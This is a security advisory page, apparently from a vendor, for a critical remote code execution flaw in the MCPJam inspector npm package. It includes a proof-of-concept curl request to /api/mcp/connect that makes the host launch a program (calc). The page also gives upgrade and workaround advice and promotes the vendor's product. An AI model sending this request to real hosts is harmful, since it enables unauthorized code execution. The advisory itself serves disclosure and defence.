GHSA-232v-j27c-5pp6
CRITICALREC in MCPJam inspector due to HTTP Endpoint exposes
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@mcpjam/inspectorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.
Details
MCPJam inspector binds to 0.0.0.0 making its HTTP APIs remotely reachable.
const server = serve({
fetch: app.fetch,
port: SERVER_PORT,
hostname: "0.0.0.0",
});
The /api/mcp/connect API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the /connect route, the system extracts the command and args fields without performing any security checks, leading to the execution of arbitrary command.
PoC
(1) Start up the MCPJam inspector as Github README
npx @mcpjam/inspector@latest
(2) RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"
Impact
Remote Code Execution (RCE)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @mcpjam/inspector | all versions | 1.4.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mcpjam/inspector. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @mcpjam/inspector to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-232v-j27c-5pp6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-232v-j27c-5pp6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-232v-j27c-5pp6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-232v-j27c-5pp6 in your dependencies?
O3 detects GHSA-232v-j27c-5pp6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.